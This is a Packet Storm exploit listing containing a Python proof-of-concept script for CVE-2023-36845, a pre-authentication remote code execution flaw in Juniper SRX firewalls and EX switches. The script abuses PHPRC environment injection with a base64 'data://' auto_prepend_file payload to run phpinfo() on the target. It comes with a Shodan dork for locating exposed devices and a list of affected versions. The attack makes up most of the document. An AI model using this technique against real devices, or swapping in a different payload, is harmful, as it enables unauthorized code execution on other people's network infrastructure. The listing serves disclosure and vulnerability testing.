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packetstormWhiteOwl, whiteowl-pub.github.ioPACKETSTORM:176969
HistoryFeb 02, 2024 - 12:00 a.m.

Juniper SRX Firewall / EX Switch Remote Code Execution

2024-02-0200:00:00
whiteOwl, whiteowl-pub.github.io
packetstormsecurity.com
135
juniper srx firewall
ex switch
remote code execution
cve-2023-36845
vulnerability detector

7.4 High

AI Score

Confidence

Low

0.965 High

EPSS

Percentile

99.6%

`# ***************************************************************************************************  
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)  
# Description:  
#  
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.  
# It executes the phpinfo() function on the login page of the target device,   
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo()   
# output to a file for further analysis.  
#  
# Shodan Dork: http.favicon.hash:2141724739  
# Date: 2023/10/01  
# Exploit Author: whiteOwl ([email protected])  
# Vendor Homepage: https://whiteowl-pub.github.io  
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,  
# 21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22.  
# 4R2-S1/R3,23.2R1-S1/R2  
# Tested on: JUNOS SM804122pri 15.1X49-D170.4  
# CVE : cve-2023-36845  
# ***************************************************************************************************  
  
import argparse  
import requests  
  
banner = """  
*************************************************************  
* CVE-2023-36845 Vulnerability Detector & Proof of concept *  
* This script checks for the CVE-2023-36845 vulnerability *  
* and run phpinfo() on vulnerable devices. *  
* If you suspect a vulnerable system, please take action *  
* immediately to secure it. *  
* *  
* Author: whiteowl *  
*************************************************************  
"""  
  
def send_request(url, output_file=None, verbose=False):  
target_url = f"{url}/?PHPRC=/dev/fd/0"  
data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'  
  
headers = {  
'User-Agent': 'Mozilla/5.0',  
}  
  
try:  
response = requests.post(target_url, headers=headers, data=data, stream=True)  
if response.status_code == 200:  
print("The Target Device is Vulnerable to: CVE-2023-36845")  
else:  
print("Not Vulnerable: Status Code", response.status_code)  
  
if output_file:  
with open(output_file, 'w', encoding='utf-8') as file:  
file.write(response.text)  
  
if verbose:  
print(f"HTTP Status Code: {response.status_code}")  
print("Response Headers:")  
for header, value in response.headers.items():  
print(f"{header}: {value}")  
print("Response Content:")  
print(response.text)  
except requests.exceptions.RequestException as e:  
print(f"An error occurred: {e}")  
  
def main():  
print(banner)   
parser = argparse.ArgumentParser(description="Custom curl-like script")  
parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request")  
parser.add_argument("-o", "--output", help="Output file to save the HTML content")  
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")  
  
args = parser.parse_args()  
send_request(args.url, args.output, args.verbose)  
  
if __name__ == "__main__":  
main()  
  
  
`